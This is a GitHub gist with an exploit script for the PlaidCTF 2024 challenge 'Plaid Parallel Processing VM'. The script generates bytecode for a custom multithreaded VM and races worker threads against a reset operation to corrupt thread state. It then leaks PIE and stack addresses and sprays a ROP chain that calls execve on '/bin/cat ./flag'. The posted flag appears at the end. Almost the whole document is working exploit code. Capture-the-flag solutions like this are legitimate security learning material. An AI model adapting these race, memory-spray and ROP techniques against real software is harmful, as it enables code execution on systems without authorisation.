Skip to content

Instantly share code, notes, and snippets.

@sampritipanda
Created April 14, 2024 21:25
Show Gist options
  • Save sampritipanda/8747f96c9367543ba7ba4591497f4f11 to your computer and use it in GitHub Desktop.
Save sampritipanda/8747f96c9367543ba7ba4591497f4f11 to your computer and use it in GitHub Desktop.
Plaid Parallel Processing VM
from pwn import *
CODE_SIZE = 0x4000
OP_NOP = 0x00
OP_PUSH = 0x01
OP_POP = 0x02
OP_DUP = 0x03
OP_SWAP = 0x04
OP_ADD = 0x10
OP_SUB = 0x11
OP_MUL = 0x12
OP_DIV = 0x13
OP_MOD = 0x14
OP_EQ = 0x20
OP_LT = 0x21
OP_GT = 0x22
OP_ISZERO = 0x23
OP_JMP = 0x30
OP_JUMPIF = 0x31
OP_JMPREL = 0x32
OP_JMPRELIF = 0x33
OP_RET = 0x80
OP_ERR = 0x81
OP_SLEEP = 0x82
OP_DUMP = 0x83
OP_ID = 0xf0
OP_RECV = 0xf1
OP_SEND = 0xf2
OP_DELETE = 0xf3
OP_LAUNCH = 0xfd
OP_RESET = 0xfe
OP_JOIN = 0xff
# 1 byte
def op(op):
return [op]
# 9 bytes
def push_to_stack(v):
res = [OP_PUSH]
res += list(p64(v))
return res
# 9 + 1 = 10 bytes
def op_1(op, v1):
res = []
res += push_to_stack(v1)
res += [op]
return res
# 9 + 9 + 1 = 19 bytes
def op_2(op, v1, v2):
res = []
res += push_to_stack(v2)
res += push_to_stack(v1)
res += [op]
return res
# Thread 1 - 0 - 0x800 Main
# Thread 2 - 0x800 - 0x1000 Joiner
# Thread 3 - 0x1000 - 0x1800 Launcher
# Thread 4 - 0x1800 - 0x2000 Worker
# Thread 5 - 0x2000 - 0x2800 Worker Reset
thread_offsets = [None, 0, 0x800, 0x1000, 0x1800, 0x2000, 0x2800]
thread_sizes = [None, 0x800, 0x800, 0x800, 0x800, 0x800, 0x800]
thread_data = [None, [], [], [], [], [], []]
#==============================Main Thread (1)================================
main = thread_data[1]
main += op_2(OP_LAUNCH, thread_offsets[2], CODE_SIZE)
main += op_2(OP_LAUNCH, thread_offsets[3], CODE_SIZE)
main += op_1(OP_SLEEP, 100000000)
#==============================================================================
#==============================Joiner Thread (2)==============================
# Joiner Thread
joiner = thread_data[2]
# Wait for msg from current worker thread
joiner += [OP_RECV]
### stack: [41, 1, worker_tid]
# Notify worker thread that we're starting
joiner += [OP_DUP, 0]
### stack: [41, 1, worker_tid, worker_tid]
joiner += push_to_stack(1)
joiner += push_to_stack(100)
### stack: [41, 1, worker_tid, worker_tid, 1, 1]
joiner += [OP_SWAP, 2]
### stack: [41, 1, worker_tid, 1, 1, worker_tid]
joiner += [OP_SEND]
### stack: [41, 1, worker_tid, 1]
joiner += [OP_POP]
joiner += [OP_SWAP, 2]
### stack: [worker_tid, 1, 41]
joiner += [OP_POP]
joiner += [OP_POP]
### stack: [worker_tid]
joiner += [OP_JOIN]
### stack failure: [41, 1, 0]
### stack success: [<random>, <steps>, 0]
joiner += [OP_POP]
joiner += [OP_POP]
joiner += push_to_stack(41)
joiner += [OP_EQ]
joiner += [OP_ISZERO]
## skip past failure if not equal
joiner += [OP_JMPRELIF, 39 + 3, 0]
## failure begin:
## Send notification to launcher that we failed.
### stack failure: []
joiner += push_to_stack(0) # 9 bytes
joiner += op_2(OP_SEND, 3, 1) # 19 bytes
joiner += [OP_POP] # 1 byte
joiner += op_1(OP_JMP, 0) # 10 bytes
## failure end (total = 39 bytes)
## index[10] = PIE leak
## index[5] = stack base
joiner += [OP_DUP, (12 - 10)]
joiner += push_to_stack(0xdd5b8)
joiner += [OP_SWAP, 1]
joiner += [OP_SUB]
joiner += [OP_DUP, (12 + 1- 5)]
joiner += push_to_stack(0x1000)
joiner += [OP_ADD]
## Launch some spray threads:
joiner += push_to_stack(8192 * 4) # spray count
### stack: [..., pie_base, stack_base, spray_count]
## Begin spray loop
loop_marker = len(joiner)
joiner += op_2(OP_LAUNCH, thread_offsets[6] - thread_offsets[2], CODE_SIZE - thread_offsets[2])
## Send PIE base to the thread
joiner += [OP_DUP, 0]
### stack: [..., pie_base, stack_base, spray_count, spray_tid, spray_tid]
joiner += push_to_stack(4)
joiner += [OP_SWAP, 1]
### stack: [..., pie_base, stack_base, spray_count, spray_tid, 4, spray_tid]
joiner += [OP_SEND]
### stack: [..., pie_base, stack_base, spray_count, spray_tid]
joiner += [OP_DELETE]
### stack: [..., pie_base, stack_base, spray_count]
joiner += push_to_stack(1)
joiner += [OP_SWAP, 1]
joiner += [OP_SUB]
joiner += [OP_DUP, 0]
joiner += [OP_ISZERO]
### stack: [..., pie_base, stack_base, spray_count, spray_count == 0]
joiner += [OP_JMPRELIF, (10 + 3), 0]
### begin if cond
joiner += op_1(OP_JMP, loop_marker) # 10 bytes
### end if cond (total = 10 bytes)
joiner += [OP_POP]
## End spray loop
## wait for spray threads to finish
joiner += op_1(OP_SLEEP, 100)
### stack: [..., pie_base, stack_base]
## overwrite status (index 10)
joiner += [OP_DUP, 0]
joiner += push_to_stack(0x8)
joiner += [OP_SWAP, 1]
joiner += [OP_SUB]
joiner += [OP_SWAP, 12 + 3 - 10]
joiner += [OP_POP]
## overwrite data (index 11)
joiner += [OP_DUP, 0]
joiner += push_to_stack(0x30)
joiner += [OP_SWAP, 1]
joiner += [OP_SUB]
joiner += [OP_SWAP, 12 + 3 - 11]
joiner += [OP_POP]
## Send notification to launcher that we succeeded and we want to trigger.
joiner += push_to_stack(1)
joiner += op_2(OP_SEND, 3, 1)
joiner += [OP_POP]
#joiner += [OP_DUMP]
joiner += op_1(OP_SLEEP, 1000000)
#==============================================================================
"""
Launch Worker
Launch Resetter
Worker notifies Joiner after Reset
Joiner notifies Worker and JOINs
Race Success: result (data = thread*, len = <steps>, capacity = large number)
Race Failure: result (data = [41], len = 1, capacity = 256)
Joiner notifies Launcher if it's over
"""
#==============================Launcher Thread (3)==============================
launcher = thread_data[3]
launcher += op_2(OP_LAUNCH, thread_offsets[4] - thread_offsets[3], CODE_SIZE - thread_offsets[3])
launcher += op_2(OP_LAUNCH, thread_offsets[5] - thread_offsets[3], CODE_SIZE - thread_offsets[3])
launcher += [OP_DUP, 1]
launcher += [OP_DUP, 1]
### stack: [worker_tid, worker_reset_tid, worker_tid, worker_reset_tid]
## Send worker thread id to worker resetter
launcher += push_to_stack(1)
launcher += [OP_SWAP, 1]
### stack: [worker_tid, worker_reset_tid, worker_tid, 1, worker_reset_tid]
launcher += [OP_SEND]
### stack: [worker_tid, worker_reset_tid, worker_tid]
## Send worker resetter id to worker thread
launcher += push_to_stack(1)
launcher += [OP_SWAP, 1]
### stack: [worker_tid, worker_reset_tid, 1, worker_tid]
launcher += [OP_SEND]
### stack: [worker_tid, worker_reset_tid]
## Wait for response from joiner thread.
launcher += [OP_RECV]
### stack: [worker_tid, worker_reset_tid, 0/1, 1, 2]
launcher += [OP_POP]
launcher += [OP_POP]
### stack: [worker_tid, worker_reset_tid, success?]
launcher += [OP_JMPRELIF, 12 + 3, 0]
## failure start
# Remove the worker threads
launcher += [OP_DELETE] # 1 byte
launcher += [OP_DELETE] # 1 byte
# Wait for threads to die
# launcher += op_1(OP_SLEEP, 5)
launcher += op_1(OP_JMP, 0) # 10 bytes
## failure end (total = 12 bytes)
## send reset to worker to trigger bug
### stack: [worker_tid, worker_reset_tid]
launcher += [OP_DUP, 1]
launcher += [OP_RESET]
launcher += op_1(OP_SLEEP, 1000000000)
#==============================================================================
#==============================Worker Thread ===============================
worker = thread_data[4]
worker += push_to_stack(41)
worker += [OP_RECV]
## stack [41, worker_reset_tid, 1, 3]
worker += [OP_SWAP, 2]
## stack [41, 3, 1, worker_reset_tid]
## Notify worker resetter that I'm about to error.
worker += [OP_SEND]
## stack [41, 3]
worker += [OP_POP]
worker += [OP_ERR]
## For padding the steps variable
for i in range(4):
worker += [OP_NOP]
## Send signal to joiner thread that we are ready
worker += op_2(OP_SEND, 2, 1)
## Wait for signal from joiner thread.
worker += op(OP_RECV)
### stack: [41, 100, 1, 2]
worker += [OP_POP]
worker += [OP_POP]
worker += [OP_POP]
### stack: [41]
worker += op_1(OP_SLEEP, 5)
worker += op_1(OP_RET, 1)
#==============================================================================
#==============================Worker Reset Thread =========================
worker_reset = thread_data[5]
## Receive worker_tid from launcher thread
worker_reset += [OP_RECV]
worker_reset += [OP_POP]
worker_reset += [OP_POP]
### stack: [worker_tid]
## Receive ready signal from worker thread
worker_reset += [OP_RECV]
### stack: [worker_tid, 3, 1, worker_tid]
worker_reset += [OP_RESET]
worker_reset += [OP_RET]
#==============================================================================
def push_relative(array, base_pos, value):
array += [OP_DUP, base_pos]
array += push_to_stack(value)
array += [OP_ADD]
#==============================Spray Thread ===============================
spray = thread_data[6]
spray += [OP_RECV]
### stack: [pie_base, stack_base, spray_count, spray_tid, 4, 2]
spray += [OP_POP]
spray += [OP_POP]
spray += [OP_POP]
spray += [OP_POP]
### stack: [pie_base, stack_base, ]
pos = 1
# lea rbx, [rax + 0x40]; mov qword ptr [rsp + 0x58], rbx;
# mov rdx, qword ptr [rdx + 0xf8]; mov rax, rcx; call rdx; vvvv
push_relative(spray, pos, 0x00000000007a7d2); pos += 1 # rax + 0x40, rbx
push_relative(spray, pos, 0x000000000003dbc1); pos += 1 # rax + 0x48 # pop rbx; ret
spray += push_to_stack(u64(b"/bin/cat")); pos += 1 # rax + 0x50
push_relative(spray, pos, 0x000000000000c0ff); pos += 1 # rax + 0x58 # pop rcx; shl edx,0xf; shl al,0xc0; inc eax; ret
push_relative(spray, pos, 0x00000000001486c0); pos += 1 # rax + 0x60
push_relative(spray, pos, 0x000000000005d4ad); pos += 1 # rax + 0x68 # mov QWORD PTR [rcx],rbx; ret
push_relative(spray, pos, 0x000000000003dbc1); pos += 1 # rax + 0x70 # pop rbx; ret
spray += push_to_stack(u64(b"\x00./flag\x00")); pos += 1 # rax + 0x78
push_relative(spray, pos, 0x000000000000c0ff); pos += 1 # rax + 0x80 # pop rcx; shl edx,0xf; shl al,0xc0; inc eax; ret
push_relative(spray, pos, 0x00000000001486c8); pos += 1 # rax + 0x88
push_relative(spray, pos, 0x000000000005d4ad); pos += 1 # rax + 0x90 # mov QWORD PTR [rcx],rbx; ret
push_relative(spray, pos, 0x000000000003dbc1); pos += 1 # rax + 0x98 # pop rbx; ret
push_relative(spray, pos, 0x00000000001486c0); pos += 1 # rax + 0xa0 # pointer to prog string
push_relative(spray, pos, 0x000000000000c0ff); pos += 1 # rax + 0xa8 # pop rcx; shl edx,0xf; shl al,0xc0; inc eax; ret
push_relative(spray, pos, 0x00000000001486d0); pos += 1 # rax + 0xb0
push_relative(spray, pos, 0x000000000005d4ad); pos += 1 # rax + 0xb8 # mov QWORD PTR [rcx],rbx; ret
push_relative(spray, pos, 0x000000000003dbc1); pos += 1 # rax + 0xc0 # pop rbx; ret
push_relative(spray, pos, 0x00000000001486c9); pos += 1 # rax + 0xc8 # pointer to path string
push_relative(spray, pos, 0x000000000000c0ff); pos += 1 # rax + 0xd0 # pop rcx; shl edx,0xf; shl al,0xc0; inc eax; ret
push_relative(spray, pos, 0x00000000001486d8); pos += 1 # rax + 0xd8
push_relative(spray, pos, 0x000000000005d4ad); pos += 1 # rax + 0xe0 # mov QWORD PTR [rcx],rbx; ret
push_relative(spray, pos, 0x000000000007e39e); pos += 1 # rax + 0xe8 # ret
push_relative(spray, pos, 0x000000000003dbc1); pos += 1 # rax + 0xf0 # pop rbx; ret
# 0x00000000005f0e0 : mov rsp, rbx ; pop rbp ; ret
push_relative(spray, pos, 0x5f0e0); pos += 1 # rax + 0xf8, rdx
push_relative(spray, pos, 0x000000000003dbc1); pos += 1 # rax + 0xc0 # pop rbx; ret
spray += push_to_stack(0); pos += 1 # rax + 0xc8 # pointer to path string
push_relative(spray, pos, 0x000000000000c0ff); pos += 1 # rax + 0xd0 # pop rcx; shl edx,0xf; shl al,0xc0; inc eax; ret
push_relative(spray, pos, 0x00000000001486e0); pos += 1 # rax + 0xd8
push_relative(spray, pos, 0x000000000005d4ad); pos += 1 # rax + 0xe0 # mov QWORD PTR [rcx],rbx; ret
push_relative(spray, pos, 0x000000000007e39d); pos += 1 # rax + 0x98 # pop rsi; ret
push_relative(spray, pos, 0x00000000001486d0); pos += 1 # rax + 0xa0
push_relative(spray, pos, 0x000000000007abda); pos += 1 # rax + 0xa8 # pop rdx; ret
push_relative(spray, pos, 0x00000000001486e0); pos += 1 # rax + 0xb0
push_relative(spray, pos, 0x0000000000004472); pos += 1 # rax + 0xb8 # pop rax; pop rbp; ret
spray += push_to_stack(0x000000000000003b); pos += 1 # rax + 0xc0
spray += push_to_stack(0xdeadbeefdeadbeef); pos += 1 # rax + 0xc8
push_relative(spray, pos, 0x000000000003dbc1); pos += 1 # rax + 0xd0 # 0x000000000043dbc1: pop rbx; ret;
push_relative(spray, pos, 0x00000000001486c0); pos += 1 # rax + 0xd8
push_relative(spray, pos, 0x0000000000003149); pos += 1 # rax + 0xe0 # 0x0000000000403149: mov rdi, rbx; syscall;
spray += push_to_stack(0x36003a7651f25bbd); pos += 1
spray += push_to_stack(2)
spray += [OP_MUL]
spray += push_to_stack(0xf1f2f3f4f5f6f7f8); pos += 1
assert (pos + 1) <= 256
while (pos + 1) < 256:
spray += [OP_DUP, 0]
pos += 1
# spray += [OP_DUMP]
#spray += op_1(OP_RET, 0)
spray += op_1(OP_SLEEP, 100000000)
#==============================================================================
assert len(thread_offsets) == len(thread_sizes)
assert len(thread_offsets) == len(thread_data)
res = b""
for i in range(1, len(thread_offsets)):
cur = thread_data[i][:]
assert len(cur) <= thread_sizes[i]
cur += [OP_NOP] * (thread_sizes[i] - len(cur))
res += bytes(cur)
assert len(res) <= CODE_SIZE
res += bytes([OP_NOP]) * (CODE_SIZE - len(res))
with open("program", "wb") as f:
f.write(res)
p = process("./exec")
p.send(res)
p.interactive()
# pctf{1n_ru5t_w3_trusT_477632}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment